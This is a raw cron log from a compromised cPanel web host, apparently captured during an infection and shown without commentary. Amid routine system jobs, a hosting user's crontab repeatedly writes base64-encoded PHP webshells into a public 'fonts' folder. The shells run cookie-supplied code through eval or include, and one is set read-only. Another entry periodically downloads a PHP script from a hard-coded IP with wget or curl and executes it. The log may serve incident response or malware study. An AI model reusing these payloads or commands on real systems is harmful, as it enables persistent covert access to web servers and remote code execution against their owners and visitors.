Sep 11 14:36:01 ip-184-168-122-23 CROND[19739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:36:01 ip-184-168-122-23 CROND[19738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:36:01 ip-184-168-122-23 CROND[19742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:36:01 ip-184-168-122-23 CROND[19743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:36:01 ip-184-168-122-23 CROND[19746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:37:01 ip-184-168-122-23 CROND[19839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:37:01 ip-184-168-122-23 CROND[19841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:37:01 ip-184-168-122-23 CROND[19842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:37:01 ip-184-168-122-23 CROND[19844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:38:01 ip-184-168-122-23 CROND[19942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:38:01 ip-184-168-122-23 CROND[19945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:38:01 ip-184-168-122-23 CROND[19943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:38:01 ip-184-168-122-23 CROND[19944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:38:01 ip-184-168-122-23 CROND[19946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:39:01 ip-184-168-122-23 CROND[20117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:39:01 ip-184-168-122-23 CROND[20119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:39:01 ip-184-168-122-23 CROND[20120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:39:01 ip-184-168-122-23 CROND[20121]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 14:39:01 ip-184-168-122-23 CROND[20122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:40:01 ip-184-168-122-23 CROND[20233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:40:02 ip-184-168-122-23 CROND[20236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:40:02 ip-184-168-122-23 CROND[20240]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:40:02 ip-184-168-122-23 CROND[20238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:40:02 ip-184-168-122-23 CROND[20239]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:40:02 ip-184-168-122-23 CROND[20242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:40:02 ip-184-168-122-23 CROND[20244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:40:02 ip-184-168-122-23 CROND[20241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:41:01 ip-184-168-122-23 CROND[20352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:41:01 ip-184-168-122-23 CROND[20353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:41:01 ip-184-168-122-23 CROND[20354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:41:01 ip-184-168-122-23 CROND[20355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:42:01 ip-184-168-122-23 CROND[20479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:42:01 ip-184-168-122-23 CROND[20482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:42:01 ip-184-168-122-23 CROND[20481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:42:01 ip-184-168-122-23 CROND[20483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:42:01 ip-184-168-122-23 CROND[20484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:43:01 ip-184-168-122-23 CROND[20581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:43:01 ip-184-168-122-23 CROND[20584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:43:01 ip-184-168-122-23 CROND[20582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:43:01 ip-184-168-122-23 CROND[20583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:44:01 ip-184-168-122-23 CROND[20756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:44:01 ip-184-168-122-23 CROND[20758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:44:01 ip-184-168-122-23 CROND[20760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:44:01 ip-184-168-122-23 CROND[20759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:44:01 ip-184-168-122-23 CROND[20761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:45:01 ip-184-168-122-23 CROND[20856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:45:01 ip-184-168-122-23 CROND[20858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:45:01 ip-184-168-122-23 CROND[20861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:45:01 ip-184-168-122-23 CROND[20860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:45:01 ip-184-168-122-23 CROND[20859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:45:01 ip-184-168-122-23 CROND[20862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:46:01 ip-184-168-122-23 CROND[20956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:46:01 ip-184-168-122-23 CROND[20959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:46:01 ip-184-168-122-23 CROND[20960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:46:01 ip-184-168-122-23 CROND[20957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:46:01 ip-184-168-122-23 CROND[20961]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:46:01 ip-184-168-122-23 CROND[20958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 14:46:01 ip-184-168-122-23 CROND[20964]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 14:47:01 ip-184-168-122-23 CROND[21093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 14:47:01 ip-184-168-122-23 CROND[21095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:47:01 ip-184-168-122-23 CROND[21096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:47:01 ip-184-168-122-23 CROND[21097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 14:48:01 ip-184-168-122-23 CROND[21179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
